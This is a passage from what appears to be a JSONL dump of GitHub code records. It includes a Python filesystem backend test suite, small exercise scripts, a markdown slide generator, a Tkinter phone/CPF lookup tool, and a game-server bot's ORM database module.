fs.listdir(\"dir1/dir2\") == [\"dir1/dir2/file1.txt\"]\n assert fs.listdir(\"dir1/dir2/\") == [\"dir1/dir2/file1.txt\"]\n assert sorted(fs.listdir(\"dir1/dir2\", recursive=True)) == [\"dir1/dir2/file1.txt\"]\n assert sorted(fs.listdir(\"dir1/dir2/\", recursive=True)) == [\"dir1/dir2/file1.txt\"]\n\n with pytest.raises(OSError):\n # listdir on a file raises\n fs.listdir(\"dir1/dir2/file1.txt\")\n\n with pytest.raises(OSError):\n # listdir on a non-existing path raises\n fs.listdir(\"asdf\", recursive=True)\n\n fs.set(\"dir1/dir1/file2.txt\", b\"hi\")\n\n assert fs.listdir() == [\"dir1\"]\n assert sorted(fs.listdir(recursive=True)) == [\n \"dir1\",\n \"dir1/dir1\",\n \"dir1/dir1/file2.txt\",\n \"dir1/dir2\",\n \"dir1/dir2/file1.txt\",\n ]\n assert sorted(fs.listdir(\"dir1\", recursive=True)) == [\n \"dir1/dir1\",\n \"dir1/dir1/file2.txt\",\n \"dir1/dir2\",\n \"dir1/dir2/file1.txt\",\n ]\n assert fs.listdir(\"dir1/dir1\", recursive=True) == [\"dir1/dir1/file2.txt\"]\n assert fs.listdir(\"dir1/dir2\", recursive=True) == [\"dir1/dir2/file1.txt\"]\n\n fs.set(\"dir1/dir1/file3.txt\", b\"hello\")\n assert sorted(fs.listdir(\"dir1/dir1\", recursive=True)) == [\n \"dir1/dir1/file2.txt\",\n \"dir1/dir1/file3.txt\",\n ]\n\n def initFileSystem(self, fs):\n \"\"\"Helper for test_nested_filesystems.\"\"\"\n dirPaths = [\n \"\",\n \"test1\",\n \"test2\",\n fs.joinPaths(\"test1\", \"test11\"),\n fs.joinPaths(\"test1\", \"test12\"),\n fs.joinPaths(\"test2\", \"test21\"),\n fs.joinPaths(\"test2\", \"test22\"),\n ]\n allVals = []\n fileNames = [\"f1.txt\", \"f2.csv\", \"f3.py\"]\n\n for path in dirPaths:\n for fileName in fileNames:\n fileKey = fs.joinPaths(path, fileName)\n filePath = fileKey\n\n fs.set(fileKey, filePath.encode(\"utf8\"))\n allVals.append(filePath)\n\n self.assertEqual(len(allVals), len(set(allVals)))\n\n self.assertEqual(len(fs.listFiles()), len(fileNames) * len(dirPaths))\n\n self.assertEqual(len(allVals), len(fileNames) * len(dirPaths))\n\n subDirs = fs.listSubdirs()\n self.assertEqual(len(subDirs), 2)\n return allVals\n\n def clearFileSystem(self, filesystem):\n for key in filesystem.listFiles():\n filesystem.rm(key)\n\n assert len(filesystem.listFiles()) == 0\n\n @flaky(max_runs=3, min_passes=1)\n def test_nested_filesystems(self):\n sep = self.filesystem.sep\n\n fullFileSystem = self.filesystem\n test1FileSystem = self.makeSubFileSystem(\"test1\")\n test2FileSystem = self.makeSubFileSystem(\"test2\")\n test2aFileSystem = self.makeSubFileSystem(\"test2/\")\n test11FileSystem = self.makeSubFileSystem(\"test1/test11\")\n\n allKeys = self.initFileSystem(fullFileSystem)\n\n self.assertEqual(sorted(fullFileSystem.listSubdirs(\"\")), [\"test1\", \"test2\"])\n self.assertEqual(sorted(fullFileSystem.listSubdirs(sep)), [\"test1\", \"test2\"])\n self.assertEqual(\n sorted(fullFileSystem.listSubdirs(\"test1\")),\n [\"test1\" + sep + \"test11\", \"test1\" + sep + \"test12\"],\n )\n self.assertEqual(\n sorted(fullFileSystem.listSubdirs(\"test2\")),\n [\"test2\" + sep + \"test21\", \"test2\" + sep + \"test22\"],\n )\n\n self.assertEqual(\n sorted(fullFileSystem.listSubdirs(\"test2\")),\n sorted(fullFileSystem.listSubdirs(\"test2\" + sep)),\n )\n self.assertEqual(\n sorted(fullFileSystem.listSubdirs(\"test2\" + sep)),\n sorted(fullFileSystem.listSubdirs(sep + \"test2\" + sep)),\n )\n self.assertEqual(\n sorted(fullFileSystem.listSubdirs(sep + \"test2\" + sep)),\n sorted(fullFileSystem.listSubdirs(sep + \"test2\")),\n )\n\n self.assertEqual(\n sorted(fullFileSystem.listFiles(\"test2\")),\n sorted(fullFileSystem.listFiles(\"test2\" + sep)),\n )\n self.assertEqual(\n sorted(fullFileSystem.listFiles(\"test2\" + sep)),\n sorted(fullFileSystem.listFiles(sep + \"test2\" + sep)),\n )\n self.assertEqual(\n sorted(fullFileSystem.listFiles(sep + \"test2\" + sep)),\n sorted(fullFileSystem.listFiles(sep + \"test2\")),\n )\n\n for key in [\"test21\" + sep, sep + \"test21\" + sep, sep + \"test21\", \"\"]:\n self.assertEqual(\n sorted(test2aFileSystem.listSubdirs(key)),\n sorted(test2FileSystem.listSubdirs(key)),\n )\n self.assertEqual(\n sorted(test2aFileSystem.listFiles(key)), sorted(test2FileSystem.listFiles(key))\n )\n\n self.assertEqual(sorted(test1FileSystem.listSubdirs(\"\")), [\"test11\", \"test12\"])\n self.assertEqual(sorted(test2FileSystem.listSubdirs(\"\")), [\"test21\", \"test22\"])\n self.assertEqual(\n sorted([x for x in test11FileSystem.listFiles(\"\")]), [\"f1.txt\", \"f2.csv\", \"f3.py\"]\n )\n\n fullObjectKeys = fullFileSystem.listFiles()\n self.assertEqual(sorted(fullObjectKeys), sorted(allKeys))\n\n test1ObjectKeys = [\n test1FileSystem.joinPaths(\"test1\", x) for x in test1FileSystem.listFiles()\n ]\n test2ObjectKeys = [\n test2FileSystem.joinPaths(\"test2\", x) for x in test2FileSystem.listFiles()\n ]\n\n extraKeys = [\"f1.txt\", \"f2.csv\", \"f3.py\"]\n\n self.assertEqual(\n sorted(fullObjectKeys), sorted(test1ObjectKeys + test2ObjectKeys + extraKeys)\n )\n\n def checkObjects(filesystem, prefix=\"\"):\n objList = filesystem.listFiles()\n\n fileVals = []\n fileContents = []\n for key in objList:\n fileVals.append(filesystem.get(key).decode(\"utf8\"))\n fileContents.append(filesystem.joinPaths(prefix, key))\n self.assertEqual(sorted(fileContents), sorted(fileVals))\n return fileVals\n\n allFileVals = checkObjects(fullFileSystem)\n self.assertEqual(sorted(allFileVals), sorted(allKeys))\n\n checkObjects(test1FileSystem, \"test1\")\n checkObjects(test2FileSystem, \"test2\")\n\n self.clearFileSystem(test1FileSystem)\n self.clearFileSystem(test2FileSystem)\n remainingFileVals = checkObjects(fullFileSystem)\n self.assertEqual(sorted(remainingFileVals), sorted(extraKeys))\n\n def test_listFiles(self):\n fs = self.filesystem\n\n fs.set(\"f0.txt\", b\"asdf\")\n fs.set(\"root/f1.txt\", b\"asdf\")\n fs.set(\"root/lvl1/f2.txt\", b\"asdf\")\n fs.set(\"root/lvl1/f3.txt\", b\"asdf\")\n\n self.assertEqual(len(fs.listFiles()), 4)\n self.assertEqual(len(fs.listFiles(\"a\")), 0)\n self.assertEqual(len(fs.listFiles(\"r\")), 3)\n self.assertEqual(len(fs.listFiles(\"root\")), 3)\n self.assertEqual(len(fs.listFiles(\"root/lvl0\")), 0)\n self.assertEqual(len(fs.listFiles(\"root/lvl\")), 2)\n self.assertEqual(len(fs.listFiles(\"root/lvl1\")), 2)\n self.assertEqual(fs.listFiles(\"root/lvl1/f3.t\"), [\"root/lvl1/f3.txt\"])\n\n def test_write_once(self):\n fs = WriteOnceFileSystem(self.filesystem)\n fs.set(\"f0.txt\", b\"asdf\")\n\n with pytest.raises(OSError):\n fs.rm(\"f0.txt\")\n\n with pytest.raises(OSError):\n fs.set(\"f0.txt\", b\"asdf\")\n\n assert fs.get(\"f0.txt\") == b\"asdf\"\n\n def test_WriteProtectedFileSystem(self):\n if not isinstance(self.filesystem, CachedFileSystem):\n assert not self.filesystem.isReadOnly\n\n roFs = WriteProtectedFileSystem(self.filesystem)\n assert roFs.isReadOnly\n path = \"f0.txt\"\n data = b\"asdf\"\n\n with pytest.raises(OSError):\n roFs.set(path, data)\n\n self.filesystem.set(path, data)\n assert roFs.get(path) == data\n\n with pytest.raises(OSError):\n roFs.rm(path)\n\n self.filesystem.rm(path)\n assert not roFs.exists(path)\n\n assert roFs != self.filesystem\n assert str(roFs) != str(self.filesystem)\n assert hash(roFs) != hash(self.filesystem)\n\n roFs2 = WriteProtectedFileSystem(self.filesystem)\n assert roFs2 == roFs\n assert str(roFs2) == str(roFs)\n assert hash(roFs2) == hash(roFs)\n\n\nclass CloningFileSystemTestCases:\n def test_cloning_filesystem(self):\n # Similar to test_bytestreams but peer into the front and back filesystems\n fs = self.filesystem\n bfs = self.backFileSystem\n ffs = self.frontFileSystem\n\n data = b\"asdf\"\n bs = io.BytesIO(data)\n fname = \"file.txt\"\n\n assert not fs.exists(fname)\n fs.set(fname, bs)\n assert fs.exists(fname)\n assert fs.get(fname) == data\n assert ffs.get(fname) == data\n assert bfs.get(fname) == data\n\n with pytest.raises(ValueError):\n fs.set(fname, bs)\n\n assert fs.get(fname) == data\n assert ffs.get(fname) == data\n assert bfs.get(fname) == data\n\n bs.seek(0)\n fs.set(fname, bs)\n assert fs.get(fname) == data\n assert ffs.get(fname) == data\n assert bfs.get(fname) == data\n\n bsIn = io.BytesIO()\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n\n with pytest.raises(ValueError):\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n\n bsIn.seek(0)\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n\n # Check that getInto copies file from back to front\n fs.rm(fname)\n assert not fs.exists(fname)\n assert not ffs.exists(fname)\n assert not bfs.exists(fname)\n\n bs.seek(0)\n bfs.set(fname, bs)\n\n bsIn.seek(0)\n fs.getInto(fname, bsIn)\n assert bsIn.getvalue() == data\n assert ffs.get(fname) == data\n\n # Check that get copies file from back to front\n fs.rm(fname)\n assert not fs.exists(fname)\n assert not ffs.exists(fname)\n assert not bfs.exists(fname)\n\n bs.seek(0)\n bfs.set(fname, bs)\n\n assert fs.get(fname)\n assert ffs.get(fname) == data\n\n\nclass DiskFilesystemTests(FileSystemTestCases, unittest.TestCase):\n def setUp(self):\n self.filesystem = TempDiskFileSystem()\n\n def tearDown(self):\n self.filesystem.tearDown()\n\n def makeSubFileSystem(self, prefix):\n rootPath = self.filesystem.joinPaths(self.filesystem.rootPath, prefix)\n return DiskFileSystem(rootPath)\n\n\nclass InMemFilesystemTests(FileSystemTestCases, unittest.TestCase):\n def setUp(self):\n self.filesystem = InMemFileSystem()\n\n def tearDown(self):\n self.filesystem.tearDown()\n\n def makeSubFileSystem(self, prefix):\n rootPath = self.filesystem.joinPaths(self.filesystem.rootPath, prefix)\n return InMemFileSystem(rootPath)\n\n def test_dont_teardown_subfilesystem(self):\n fs = self.filesystem\n fs.set(\"a/b/c\", b\"abc\")\n subFs = self.makeSubFileSystem(\"a\")\n assert subFs.listFiles() == [\"b/c\"]\n subFs.tearDown()\n assert fs.listFiles() == [\"a/b/c\"]\n\n\nclass _WriteableCachedFileSystem(CachedFileSystem):\n \"\"\"A class to enable running our tests against CachedFileSystem.\"\"\"\n\n def rm(self, path):\n if self.frontFileSystem.exists(path):\n self.frontFileSystem.rm(path)\n return self.backFileSystem.rm(path)\n\n def set(self, path, content):\n return self.backFileSystem.set(path, content)\n\n\nclass CachedFileSystemTests(FileSystemTestCases, unittest.TestCase):\n def setUp(self):\n self.backFileSystem = TempDiskFileSystem()\n self.frontFileSystem = InMemFileSystem()\n self.filesystem = _WriteableCachedFileSystem(self.frontFileSystem, self.backFileSystem)\n\n def tearDown(self):\n self.backFileSystem.tearDown()\n self.frontFileSystem.tearDown()\n\n def makeSubFileSystem(self, prefix):\n backRootPath = self.backFileSystem.joinPaths(self.backFileSystem.rootPath, prefix)\n subBack = DiskFileSystem(backRootPath)\n\n frontRootPath = self.frontFileSystem.joinPaths(self.frontFileSystem.rootPath, prefix)\n subFront = InMemFileSystem(frontRootPath)\n\n subCached = _WriteableCachedFileSystem(subFront, subBack)\n\n return subCached\n\n\nclass CloningFileSystemTests(\n FileSystemTestCases, CloningFileSystemTestCases, unittest.TestCase\n):\n def setUp(self):\n self.backFileSystem = TempDiskFileSystem()\n self.frontFileSystem = InMemFileSystem()\n self.filesystem = CloningFileSystem(self.frontFileSystem, self.backFileSystem)\n\n def tearDown(self):\n self.backFileSystem.tearDown()\n self.frontFileSystem.tearDown()\n\n def makeSubFileSystem(self, prefix):\n backRootPath = self.backFileSystem.joinPaths(self.backFileSystem.rootPath, prefix)\n subBack = DiskFileSystem(backRootPath)\n\n frontRootPath = self.frontFileSystem.joinPaths(self.frontFileSystem.rootPath, prefix)\n subFront = InMemFileSystem(frontRootPath)\n\n subCloned = CloningFileSystem(subFront, subBack)\n\n return subCloned\n\n\nclass MockS3ToMockS3CloningFileSystemTests(\n FileSystemTestCases, CloningFileSystemTestCases, unittest.TestCase\n):\n MODTIME_DIFFERENCE_THRESHOLD = 1.1\n\n @classmethod\n def setUpClass(cls):\n os.environ[\"AWS_ACCESS_KEY_ID\"] = \"testing\"\n os.environ[\"AWS_SECRET_ACCESS_KEY\"] = \"testing\"\n os.environ[\"AWS_SECURITY_TOKEN\"] = \"testing\"\n os.environ[\"AWS_SESSION_TOKEN\"] = \"testing\"\n\n cls.bucketname = \"nomadresearch-test\"\n cls.mock = mock_s3()\n cls.mock.start()\n conn = boto3.resource(\"s3\")\n conn.create_bucket(Bucket=cls.bucketname)\n\n @classmethod\n def tearDownClass(cls):\n cls.mock.stop()\n\n def makeFilesystem(self, keyPrefix):\n return S3FileSystem(bucketname=self.bucketname, keyPrefix=keyPrefix)\n\n @staticmethod\n def generateUniqueKeyPrefix():\n return str(uuid.uuid4())\n\n def setUp(self):\n self.backFileSystem = S3FileSystem(\n bucketname=self.bucketname, keyPrefix=self.generateUniqueKeyPrefix()\n )\n self.frontFileSystem = S3FileSystem(\n bucketname=self.bucketname, keyPrefix=self.generateUniqueKeyPrefix()\n )\n self.filesystem = CloningFileSystem(self.frontFileSystem, self.backFileSystem)\n\n def tearDown(self):\n self.backFileSystem.tearDown()\n self.frontFileSystem.tearDown()\n\n def makeSubFileSystem(self, prefix):\n backPrefix = S3FileSystem.joinPaths(self.backFileSystem.keyPrefix, prefix)\n subBack = S3FileSystem(self.bucketname, backPrefix)\n\n frontPrefix = S3FileSystem.joinPaths(self.frontFileSystem.keyPrefix, prefix)\n subFront = S3FileSystem(self.bucketname, frontPrefix)\n\n subCloned = CloningFileSystem(subFront, subBack)\n\n return subCloned\n\n\nclass S3FileSystemTestCases(FileSystemTestCases):\n MODTIME_DIFFERENCE_THRESHOLD = 1.1\n\n @classmethod\n def setUpClass(cls):\n cls.bucketname = \"nomadresearch-test\"\n\n def makeFilesystem(self, keyPrefix):\n return S3FileSystem(bucketname=self.bucketname, keyPrefix=keyPrefix)\n\n @staticmethod\n def generateUniqueKeyPrefix():\n return str(uuid.uuid4())\n\n def setUp(self):\n self.keyPrefix = self.generateUniqueKeyPrefix()\n self.filesystem = S3FileSystem(bucketname=self.bucketname, keyPrefix=self.keyPrefix)\n\n def tearDown(self):\n for key in self.filesystem.listFiles():\n self.filesystem.rm(key)\n\n assert len(self.filesystem.listdir()) == 0\n\n def makeSubFileSystem(self, prefix):\n subFileSystemPrefix = S3FileSystem.joinPaths(self.keyPrefix, prefix)\n return S3FileSystem(bucketname=self.bucketname, keyPrefix=subFileSystemPrefix)\n\n\nclass MockS3FileSystemTests(S3FileSystemTestCases, unittest.TestCase):\n AWS_ENV_VARS = (\n \"AWS_ACCESS_KEY_ID\",\n \"AWS_SECRET_ACCESS_KEY\",\n \"AWS_SECURITY_TOKEN\",\n \"AWS_SESSION_TOKEN\",\n )\n\n @classmethod\n def setUpClass(cls):\n # stash the AWS environment variables we will override\n cls.stashed_aws_environment = {var: os.environ.get(var) for var in cls.AWS_ENV_VARS}\n\n # override some AWS environment variables to ensure we don't hit live AWS\n for var in cls.AWS_ENV_VARS:\n os.environ[var] = \"testing\"\n\n S3FileSystemTestCases.setUpClass()\n cls.mock = mock_s3()\n cls.mock.start()\n conn = boto3.resource(\"s3\")\n conn.create_bucket(Bucket=cls.bucketname)\n\n @classmethod\n def tearDownClass(cls):\n # restore AWS environment variables\n for var in cls.AWS_ENV_VARS:\n os.environ[var] = cls.stashed_aws_environment[var]\n\n cls.mock.stop()\n\n\nclass BareFtpFileSystemTests(FileSystemTestCases, unittest.TestCase):\n MODTIME_DIFFERENCE_THRESHOLD = 1.1\n\n def setUp(self):\n self.username = \"admin\"\n self.password = \"admin\"\n self.server = FtpServer(username=self.username, password=self.password)\n self.host = self.server.host\n self.port = self.server.port\n\n self.filesystem = FtpFileSystem(self.username, self.password, self.host, self.port)\n\n def tearDown(self):\n self.filesystem.tearDown()\n self.server.tearDown()\n\n def makeSubFileSystem(self, prefix):\n subRootPath = self.filesystem.joinPaths(self.filesystem.rootPath, prefix)\n return FtpFileSystem(self.username, self.password, self.host, self.port, subRootPath)\n\n\nclass RootedFtpFileSystemTests(BareFtpFileSystemTests):\n def setUp(self):\n BareFtpFileSystemTests.setUp(self)\n self.filesystem._rootPath = \"root/path\"\n self.filesystem._makeParentDirsIfNeeded(self.filesystem._rooted(\"fakefile.txt\"))\n assert self.filesystem.exists(\"\")\n\n\nclass FtpFileSystemTestsNoMlsd(BareFtpFileSystemTests):\n def setUp(self):\n BareFtpFileSystemTests.setUp(self)\n self.patchFileSystem(self.filesystem)\n\n @staticmethod\n def patchFileSystem(filesystem):\n assert filesystem._canUseMlsd is True, filesystem._canUseMlsd\n filesystem._canUseMlsdCache = False\n\n def makeSubFileSystem(self, prefix):\n subFileSystem = super().makeSubFileSystem(prefix)\n self.patchFileSystem(subFileSystem)\n return subFileSystem\n\n\nclass BareSftpFileSystemTests(FileSystemTestCases, unittest.TestCase):\n MODTIME_DIFFERENCE_THRESHOLD = 1.1\n\n def setUp(self):\n self.username = \"admin\"\n self.password = \"admin\"\n\n self.server = SftpServer()\n self.host = self.server.host\n self.port = self.server.port\n\n self.filesystem = SftpFileSystem(self.username, self.password, self.host, self.port)\n\n def tearDown(self):\n self.filesystem.tearDown()\n self.server.tearDown()\n\n def makeSubFileSystem(self, prefix):\n subRootPath = self.filesystem.joinPaths(self.filesystem.rootPath, prefix)\n return SftpFileSystem(self.username, self.password, self.host, self.port, subRootPath)\n\n\nclass RootedSftpFileSystemTests(BareSftpFileSystemTests):\n MODTIME_DIFFERENCE_THRESHOLD = 1.1\n\n def setUp(self):\n BareSftpFileSystemTests.setUp(self)\n self.filesystem._rootPath = \"root/path\"\n self.filesystem._makeParentDirsIfNeeded(self.filesystem._rooted(\"fakefile.txt\"))\n assert self.filesystem.exists(\"\")\n\n def tearDown(self):\n self.filesystem.tearDown()\n self.server.tearDown()\n\n def makeSubFileSystem(self, prefix):\n subRootPath = self.filesystem.joinPaths(self.filesystem.rootPath, prefix)\n return SftpFileSystem(self.username, self.password, self.host, self.port, subRootPath)\n","repo_name":"APrioriInvestments/filesystem","sub_path":"tests/filesystem_test.py","file_name":"filesystem_test.py","file_ext":"py","file_size_in_byte":30677,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"27528751427","text":"class Solution:\n def sortArrayByParityII(self, A: List[int]) -> List[int]:\n j = -1\n for i in range(0,len(A),2):\n if A[i] % 2 == 0:\n continue\n while j < len(A):\n j += 2\n if A[j] % 2 == 0:\n temp = A[j]\n A[j], A[i] = A[i], temp\n break\n return A \n \n \n","repo_name":"plasma018/leetcode","sub_path":"plasma018/E922.py","file_name":"E922.py","file_ext":"py","file_size_in_byte":364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41623902134","text":"import math\nimport random\n\n\ndef mymax(a):\n assert len(a) > 0\n assert len([element for element in a if type(element) != int and type(element) != float]) == 0\n\n highest = a[0]\n for element in a:\n if element > highest:\n highest = element\n return highest\n\ndef getNumbers(s):\n result = []\n check = False\n counter = -1\n for c in s:\n if c >= \"0\" and c <= \"9\":\n if not check:\n counter += 1\n result.append(c)\n else:\n result[counter] += c\n check = True\n else:\n check = False\n return result\n\ndef myprime(limit):\n a = [True] * limit\n a[0] = a[1] = False\n for (i, isprime) in enumerate(a):\n if isprime:\n yield i\n for n in range(i*i, limit, i): # Mark factors non-prime\n a[n] = False\n return a\n\ndef birthdayParty():\n odds = []\n for i in range(100):\n temp = []\n for j in range(23):\n temp.append(random.randint(1, 365))\n if len(temp) != len(set(temp)):\n odds.append(len(temp))\n break\n return len(odds)/100\n\n\n\nprint(mymax([1, 2, 2, 3, 4, 5]))\nprint(getNumbers(\"een123zin45 6met-632meerdere+7777getallen\"))\nprint(birthdayParty())\nfor x in myprime(1000):\n print(x, end=\" \")\n","repo_name":"Bob-Thomas/alds","sub_path":"week1.py","file_name":"week1.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21113249443","text":"#!/usr/bin/env python\n\n# md_processor_command = 'python -m markdown'\n\nimport sys, os, subprocess\nimport markdown\nimport re\n\ndef main():\n # cur_process = subprocess.Popen(\n # md_processor_command, \n # stdin = subprocess.PIPE, stdout = subprocess.PIPE, shell = True)\n slide_buffer = ''\n in_content = False\n options = {}\n for line in sys.stdin:\n if is_title_line(line):\n if in_content:\n write_slide(markdown.markdown(slide_buffer))\n # write_slide(cur_process.communicate(slide_buffer)[0])\n # cur_process = subprocess.Popen(\n # md_processor_command, \n # stdin = subprocess.PIPE, stdout = subprocess.PIPE, shell = True)\n slide_buffer = ''\n else:\n # XXX write options\n sys.stdout.write('
\\n')\n in_content = True\n \n if in_content:\n slide_buffer += line\n else:\n m = re.match('\\s*([a-zA-Z_-]+)\\s*=(.*)', line)\n if m:\n options[m.group(1)] = m.group(2).strip()\n pass\n if in_content and len(slide_buffer) > 0:\n write_slide(markdown.markdown(slide_buffer))\n # write_slide(cur_process.communicate(slide_buffer)[0])\n sys.stdout.write('
\\n')\n \ndef is_title_line(line):\n sline = line.strip()\n return (len(sline) > 2 and sline[0] == '#' and sline[1] != '#') or \\\n (len(sline) == 1 and sline[0] == '#')\n\ndef write_slide(slide):\n sys.stdout.write('
')\n sys.stdout.write(slide)\n sys.stdout.write('
\\n') \n\nif __name__ == '__main__':\n main()\n","repo_name":"xinhaoyuan/slides","sub_path":"generate_slides.py","file_name":"generate_slides.py","file_ext":"py","file_size_in_byte":1751,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41088075782","text":"import timeit # Marcar tempo \r\nimport os # Import para usar Path\r\nimport threading # Import para multithread\t\r\nfrom tkinter import *\r\n \r\nclass Application:\r\n def __init__(self, master):\r\n \r\n self.frame=Frame(master,width=500,height=100) #Titulo Programa\r\n master.title(\"Controle de Vendas\")\r\n self.frame.pack\r\n \r\n self.fonte = (\"Arial\", \"10\") #Conteiner 1\r\n self.pb = Frame(master)\r\n self.pb[\"pady\"] = 10\r\n self.pb.pack()\r\n \r\n self.p1 = Frame(master) #Conteiner 2\r\n self.p1[\"padx\"] = 20\r\n self.p1.pack()\r\n \r\n self.fonte = (\"Arial\", \"10\") #Conteiner 3\r\n self.pb1 = Frame(master)\r\n self.pb1[\"pady\"] = 10\r\n self.pb1.pack()\r\n \r\n self.p2 = Frame(master) #Conteiner 4\r\n self.p2[\"padx\"] = 20\r\n self.p2.pack()\r\n \r\n self.pc = Frame(master) #Conteiner 4\r\n self.pc[\"pady\"] = 10\r\n self.pc.pack()\r\n \r\n self.sc = Frame(master) #Conteiner 5\r\n self.sc[\"padx\"] = 20\r\n self.sc.pack()\r\n \r\n self.tc = Frame(master) #Conteiner 6\r\n self.tc[\"padx\"] = 20\r\n self.tc.pack()\r\n \r\n self.qc = Frame(master) #Conteiner 7\r\n self.qc[\"padx\"] = 20\r\n self.qc.pack()\r\n \r\n self.titulopb = Label(self.pb, text=\"Digite a Pasta Busca\") #Titulo 1\r\n self.titulopb[\"font\"] = (\"Arial\", \"10\", \"bold\")\r\n self.titulopb.pack()\r\n \r\n self.pastaB = Entry(self.p1) #Entrada da Pasta 1\r\n self.pastaB[\"width\"] = 30\r\n self.pastaB[\"font\"] = self.fonte\r\n self.pastaB.pack(side=LEFT)\r\n \r\n self.titulopb1 = Label(self.pb1, text=\"Digite a Pasta Destino\") #Titulo 2\r\n self.titulopb1[\"font\"] = (\"Arial\", \"10\", \"bold\")\r\n self.titulopb1.pack()\r\n \r\n self.pastaD = Entry(self.p2) #Entrada da Pasta 2\r\n self.pastaD[\"width\"] = 30\r\n self.pastaD[\"font\"] = self.fonte\r\n self.pastaD.pack(side=LEFT)\r\n \r\n self.titulo = Label(self.pc, text=\"Digite o Telefone ou CPF\") #Titulo 3\r\n self.titulo[\"font\"] = (\"Arial\", \"10\", \"bold\")\r\n self.titulo.pack()\r\n \r\n self.telLabel = Label(self.sc,text=\"Telefone\", font=self.fonte) #SubTitulo 3\r\n self.telLabel.pack(side=LEFT)\r\n \r\n self.tel = Entry(self.sc) #Entrada Telefone\r\n self.tel[\"width\"] = 30\r\n self.tel[\"font\"] = self.fonte\r\n self.tel.pack(side=LEFT)\r\n \r\n self.cpfLabel = Label(self.tc,text=\"CPF\", font=self.fonte) #SubTitulo 4\r\n self.cpfLabel.pack(side=LEFT)\r\n \r\n self.cpf = Entry(self.tc) #Entrada CPF\r\n self.cpf[\"width\"] = 34\r\n self.cpf[\"font\"] = self.fonte\r\n self.cpf.pack(side=LEFT)\r\n \r\n self.exe = Button(self.qc) #Comando Executar\r\n self.exe[\"text\"] = \"Executar\"\r\n self.exe[\"font\"] = (\"Calibri\", \"8\")\r\n self.exe[\"width\"] = 12\r\n self.exe[\"command\"] = self.BuscaNumero\r\n self.exe.pack()\r\n\r\n def BuscaNumero(self):\r\n inicio = timeit.default_timer() #Inicia Tempo \r\n x = self.tel.get() #Entrada telefone\r\n y = self.cpf.get() #Entrada cpf\r\n path = self.pastaB.get() #Caminho dos números\r\n path2 = self.pastaD.get() #Caminho do novo .TXT\r\n dirs = os.listdir(path) #Cria uma lista de todos números\r\n for pasta in dirs: #Foreach para ler todos arquivos e comparar\r\n print(pasta) #Mostra as pastas que já foram lidas\r\n variavel = ''' \\ ''' #Variavel de Mudança\r\n variavel2 = \"\\\\\" #Variavel de Mudança\r\n arq = open(path.replace(variavel,variavel2)+\"\\\\\"+pasta,'r') #Abre arquivo para ler\r\n arquivo = open(path2.replace( variavel , variavel2 )+\"\\\\\" + 'busca_tel_'+x+y+'.txt','a+') #Cria novo .TXT \\ a+ = append\r\n try: #Para mostrar mensagem de erro em alguns arquivos\r\n arquivo.writelines(\"\")\r\n for linha in arq: \r\n valores = linha.split(',')\r\n if valores[3] == x: #Compara se o '3 - telefone' é igual ao número informado\r\n arquivo.writelines(linha) #Escreve no arquivo\r\n elif valores[0] == y:\r\n arquivo.writelines(linha)\r\n except:\r\n print('Erro')\r\n fim = timeit.default_timer()\r\n print('Duração: %f' %(fim-inicio))\r\n arquivo.close()\r\n return print('Busca concluída')\r\n\r\n \r\n\r\nroot = Tk()\r\nApplication(root)\r\nroot.mainloop()","repo_name":"Bruninhohr/Python","sub_path":"BuscaTel.py","file_name":"BuscaTel.py","file_ext":"py","file_size_in_byte":4558,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"22919974495","text":"from glowbot.config import global_config\nimport logging\nfrom tortoise import Tortoise, fields\nfrom tortoise.models import Model\n\nclass GlowDatabase(Tortoise):\n \"\"\"\n Extension of the base Tortoise database for Glowbot.\n Only supports postgresql, and self-generates configuration and initialization.\n \"\"\"\n\n models = ['aerich.models', 'glowbot.db']\n\n def __init__(self, event_loop):\n super().__init__()\n\n self.logger = logging.getLogger(__package__)\n self.db_config = self.generate_db_config()\n\n self.logger.info(\"Loading ORM for models: %s\" % (self.models))\n event_loop.run_until_complete(Tortoise.init(config=self.db_config))\n event_loop.run_until_complete(Tortoise.generate_schemas())\n\n def generate_db_config(self):\n db_config = {\n 'connections': {\n 'default': {\n 'engine': \"tortoise.backends.asyncpg\",\n 'credentials': {\n 'host': global_config['database']['postgres']['db_url'],\n 'port': global_config['database']['postgres']['db_port'],\n 'user': global_config['database']['postgres']['db_user'],\n 'password': global_config['database']['postgres']['db_password'],\n 'database': global_config['database']['postgres']['db_name'],\n },\n },\n },\n 'apps': {\n 'glowbot': {\n 'models': self.models,\n 'default_connection': 'default',\n },\n },\n }\n\n return db_config\n\nasync def get_player_by_discord_id(id):\n \"\"\"\n Performs a lookup for a user based on their steam_64_id <=> discord_id.\n If no result, None is returned indicating the user has no entry or hasn't registered.\n \"\"\"\n query_set = await HLL_Player.filter(discord_id__contains=id)\n if len(query_set) == 0:\n return None\n elif len(query_set) != 1:\n self.logger.fatal(\"Multiple discord_id's found for %s!\" % (id))\n raise\n else:\n return query_set[0]\n\nclass HLL_Player(Model):\n \"\"\"\n Model representing a player <=> discord relationship.\n \"\"\"\n steam_id_64 = fields.BigIntField(description='Steam64Id for the player')\n player_name = fields.TextField(description='Player\\'s stored name', null=True)\n discord_id = fields.TextField(description='Discord ID for player', null=True)\n seeding_time_balance = fields.TimeDeltaField(description='Amount of unspent seeding hours')\n total_seeding_time = fields.TimeDeltaField(description='Total amount of time player has spent seeding')\n last_seed_check = fields.DatetimeField(description='Last time the seeder was seen during a seed check')\n\n def __str__(self):\n if self.player_name is not None:\n return self.player_name\n else:\n return self.steam_id_64","repo_name":"glows-battlegrounds/GlowBot","sub_path":"glowbot/db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":2945,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"40612268452","text":"# -*- coding:utf-8 -*-\n# The bayesfactor_pearson.py in FeatureAnalyzer\n# created by Jiang Feng(silencejiang@zju.edu.cn)\n# created at 10:52 on 